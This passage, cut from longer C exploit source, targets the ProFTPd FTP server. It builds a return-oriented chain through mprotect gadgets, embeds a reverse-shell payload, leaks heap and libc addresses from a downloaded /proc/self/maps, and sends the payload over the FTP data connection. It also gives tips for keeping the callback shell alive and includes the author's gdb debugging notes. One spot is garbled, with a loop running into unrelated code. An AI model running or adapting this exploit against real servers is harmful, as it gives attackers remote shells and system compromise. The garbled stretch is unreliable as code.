c->child_cleanup_cb = <__setreuid+64>: pop rdx; add rsp,0x38; ret memcpy(&shellcode[0x60], &cleanup.next, 8); // pop rbx = any crap memcpy(&shellcode[0x68], &MPROTECT_RDI, 8); // rdi = mprotect 1st parameter, starting of memory page containing our shellcode memcpy(&shellcode[0x70], &RESP_POOL , 8); // // rdi = mprotect 3rd parameter, 7=rwx shellcode[0x78] = 0x77; // pop rsi = mprotect 2nd parameter, len 0x2000, so 2 pages shellcode[0x79] = 0x20; memcpy(&shellcode[0x80], &do_dlopen_69, 8); // : pop rax; pop rdx; pop rbx; ret shellcode[0x88] = 0x0a; // pop rax = mprotect syscall number memcpy(&shellcode[0x90], &iconv_197, 8); // <__gconv_close_transform+225>: pop rsi; ret memcpy(&shellcode[0x98], &cleanup.next, 8); // memcpy(&shellcode[0xa0], &cleanup.next, 8); // memcpy(&shellcode[0xa8], &cleanup.next, 8); // memcpy(&shellcode[0xb0], &cleanup.next, 8); // memcpy(&shellcode[0xb8], &cleanup.next, 8); // memcpy(&shellcode[0xc0], &cleanup.next, 8); // memcpy(&shellcode[0xc8], &cleanup.next, 8); // memcpy(&shellcode[0xd0], &cleanup.next, 8); // memcpy(&shellcode[0xd8], &cleanup.next, 8); // memset(&shellcode[0xe0], 0x11, rshell_size); // reverse shell for(size_t i=0xe0+rshell_size+8; inotes = %p\n", SESS_CURR_CMD_NOTES); printf("[+] gid_tab = %p\n", GID_TAB); printf("[+] resp_pool = {\n"); printf(" first = %p\n", resp_pool.first); printf(" last = %p \n", resp_pool.last); printf(" cleanups = %p \n", resp_pool.cleanups); printf(" sub_pools = %p <&session.curr_cmd_rec->notes->chains - 0x28 + 0x18>\n", resp_pool.sub_pools); printf(" sub_next = %p\n", resp_pool.sub_next); printf(" sub_prev = %p <__gconv_close_transform+225>\n", resp_pool.sub_prev); printf(" parent = %p\n", resp_pool.parent); printf(" free_first_avail = %p\n", resp_pool.free_favail); printf(" tag = %p\n", resp_pool.tag); printf("}\n"); /* * One important thing to remember is that we need to trap SIGALRM on our * shell, because when exec'ing /bin/sh the ProFTPd (child) process will * generate a SIGALRM signal that, if not trapped, will kill our shell. * So as soon as received the remote callback connection you should issue: * * $ trap '' ALRM * * This prevents our shell to be killed after reaching "timeout-idle". * If sh complains yet, enter "sh" twice to start other instances. */ printf("[+] sending payload: "); unsigned int ec = 0; unsigned int es = sizeof(ec); do { printf("+"); printf("shellcode == %s\n", shellcode); // LIXO r = send(sock_data, shellcode, SEND_BUFF_SIZE, 0); //fflush(NULL); // required just in local server and exploit sync(); // same here, can delete if exploiting remote targets sleep(1); getsockopt(sock_data, SOL_SOCKET, SO_ERROR, &ec, &es); } while (ec == 0); #ifdef DEBUG4 asm("int3"); #endif printf("\n[+] if ASLR is disabled on remote target and you're lucky, you might got a shell %s\n", "\xf0\x9f\x98\x88"); free(shellcode); return 0; } /* * small routine to calculate port number from network byte order to little * endian format (later htons() will convert it back again no network order). */ unsigned int get_remote_port(char *pasv_answer) { unsigned short int major = 0, minor = 0; char *p; p = rindex(pasv_answer, ')'); *p = '\0'; p = rindex(pasv_answer, ','); *p = '\0'; minor = atoi(++p); p = rindex(pasv_answer, ','); major = atoi(++p); return 256*major+minor; // return port number in little endian format } /* * Auxiliary function to find the base address that we are interested, which * are heap and libc base addresses (similar to grep|sed). We get the first * address occurrence and stop processing the file. The caller should fopen * and fclose FILE *fp. * * Explanation about parameters: * what: the string we want to find base address; * fp: FILE pointer to maps.txt that we just downloaded; * index: 0=start address in /proc/self/maps file format; 1=ending address. * * Returns the address already converted to unsigned long. */ unsigned long get_mem_addr(const char *what, FILE *fp, int index) { char *p; char buf[400] = {0}; // increase if you think remote path is longer unsigned long addr = 0L; (void) fseek(fp, 0L, SEEK_SET); while (p = fgets(buf, 200, fp)) { if (strstr(buf, what)) { p = strtok(buf, "-"); if (p) { if (index == 1) { char *t; //asm("int3"); p = strtok(NULL, "-"); t = strchr(p, ' '); if(t) *t='\0'; } sprintf(buf, "%s", p); addr = strtoul(buf, NULL, 16); break; } } } return addr; } /* * the below gives me overflow control on WHERE * whith just 1 memory address guess (gdb) p p->last = ((char *)session.curr_cmd_rec) + 0x88 (gdb) p p->sub_pools = ((char *)session.curr_cmd_rec) + 0x28 (gdb) c resp_pool = 0x5555556e8720; new_pool = 0x5555556bd2e0; */ /* * coloque um tbreak destroy_pool depois de fazer isso pra ver se tem alguma * possibilidae de usar essa primitiva proxima da mesma _SC_PAGE_SIZE que o * session.curr_cmd_rec->notes na heap. * also, pr_auth_endpwent() does the cleaning of auth_tab at first, so maybe * it's on a more appropriate memory page - to check. (gdb) p p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 (gdb) p *(unsigned long long *)((char *)session.curr_cmd_rec->notes + 0x128) = ((char *)session.curr_cmd_rec->notes) - 0x64 (gdb) p p->last = ((char *)session.curr_cmd_rec->notes)+0x118 (gdb) p *p->last */ /* * need to finish what I was thinking below: gef➤ set p->sub_pools=(char *)0x7fffffffd910 gef➤ p *resp_pool $24 = { first = 0x4141414141414141, last = 0x0, cleanups = 0x4242424242424242, sub_pools = 0x5555556bb1c0, sub_next = 0x4343434343434343, sub_prev = 0x4343434343434343, parent = 0x4343434343434343, free_first_avail = 0x4343434343434343 , tag = 0x4343434343434343 } then later it will gain RIP very near: 0x5555556bb1ba add BYTE PTR [rax], al 0x5555556bb1bc add BYTE PTR [rax], al 0x5555556bb1be add BYTE PTR [rax], al → 0x5555556bb1c0 movabs al, ds:0xa000005555556bb1 0x5555556bb1c9 mov cl, 0x6b 0x5555556bb1cb push rbp 0x5555556bb1cc push rbp 0x5555556bb1cd push rbp 0x5555556bb1ce add BYTE PTR [rax], al ───────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "proftpd", stopped 0x5555556bb1c0 in ?? (), reason: SIGSEGV ────────────────────────────────────────────────────────────────────────────── [#0] 0x5555556bb1c0 → movabs al, ds:0xa000005555556bb1 [#1] 0x5555556b9cd8 → add BYTE PTR [rax], al [#2] 0x55555563c3b1 → sub al, BYTE PTR [rax] ────────────────────────────────────────────────────────────────────────────── maybe I can use other FTP commands to change the memory content beforehand, e.g. default_data_netio is next to &resp_pool, maybe it's possible to overflow it and issue some FTP command to make use of this memory. */